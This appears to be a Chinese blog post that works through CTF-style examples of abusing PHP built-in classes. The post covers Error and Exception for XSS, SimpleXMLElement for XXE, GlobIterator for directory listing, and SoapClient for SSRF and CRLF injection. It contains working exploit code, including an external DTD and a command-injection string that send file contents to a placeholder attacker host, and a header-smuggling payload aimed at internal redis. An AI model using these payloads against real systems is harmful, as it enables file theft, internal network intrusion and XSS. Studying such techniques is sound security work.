php可利用的原生类

这周在团队内部的分享我分享了一个php可用的反序列化原生类,不具体,今天具体的写一下我分析过的一些

Error

  • Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法,runzhi说这个很鸡肋,但我觉得不然,譬如thinkphp中的gadget的大多都起始于一个toString方法,那如果有个pop链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用echo一个反序列化以后的类的写法,我遇见的最多的就是一个自定义的函数xml_unserialize,这个也看开发人员吧,好的开发人员应该不会这么写,但也是一种挖洞的新思路(对我而言)。

测试代码

1
2
3
<?php
$a = unserialize($_GET['yds']);
echo $a;

exp

1
2
3
4
<?php

$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
  • 成功alert

image-20200317094649544

Exception

  • 这个类利用的方式和原理和Error 类一模一样,但是适用于php5php7,相对之下更加好用

测试代码

1
2
3
<?php
$a = unserialize($_GET['yds']);
echo $a;

exp

1
2
3
4
<?php

$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
  • 成功alert

image-20200317095740432

SimpleXMLElement

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $template;
private $variables;

public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}

public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
  • 这时我们传入的c可以设置为一个SimpleXMLElement,看一下SimpleXMLElement类的__Contruct,所以要把

    d['t']设为可以利用的xml文件,d[v]设为2(LIBXML_NOENT的预设值ss)

  • image-20200317103548899

  • 首先我先在vps写进一个config.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % hacker "<!ENTITY &#37; send SYSTEM 'http://xxxxxxx:2207/?%file;'>">
  • 然后传入cd

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://localhost:81/share/Snow.php'

params = {
'c': 'SimpleXMLElement',
"d[t]": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://xxxxxxx/config.dtd">
%remote;
%hacker;
%send;
]>''',
"d[v]:": 2
}

response = requests.get(url, params=params)

print(response.text)

设置监听得到flag

image-20200317121943815

GlobIterator

GlobIterator 类可以便利目录,也是用一道题目来看,题目出自红日代码审计的php审计实验室Day3的任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}

这里我们利用GlobIterator来便利出任意的目录

payload

1
http://localhost:88/?name=GlobIterator&param=./*.php&param2=0

image-20200317125719344

知道了flag在哪儿就可以利用上面的SimpleXMlelement进行读取了

soapclient

然后就是soapclient可以用于ssrf,然后配合crlf也可以造成比较大的威胁

首先Soapclient可以用以ssrf内网,条件是调用了内置的__call类,在高校战疫赛中,就利用了这个进行了内网ssrf

1
2
3
4
5
6
7
8
9
10
11
<?php
$path = urlencode("`\$cc`;curl -d '@/hint' xxxxxxx:2207");
$path = "http://10.10.1.12/"."?cc=$path";
$yds= new SoapClient(null, array('uri' => $path, 'location' => $path));
$ser_yds = serialize($yds);
$cipher = openssl_encrypt($ser_yds, "des-cbc", '', 0, '');
$cookie = md5($ser_yds);
$user = base64_encode($cipher);
echo $user;
echo "\n";
echo $cookie;

下面是改了wupco师傅的exp

1
2
3
4
5
6
7
8
9
<?php
$target = "http://xxxxxxxx/";
$payload = 'action=getflag';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$yds = new SoapClient(null,array('location' => $target,'user_agent'=>'yds_mbppro\n\rContent-Type: application/x-www-form-urlencoded\n\r'.join('\n\r',$headers).'\n\rContent-Length: '. (string)strlen($payload).'\n\r\n\r'.$payload,'uri'=>'flag'));
$yds = serialize($yds);
echo urlencode($yds);

这里就允许我们随意控制post的报文,配合内网ssrf可以成功攻击内网redis。

写在后面

ps:下一次写如何攻击(应该)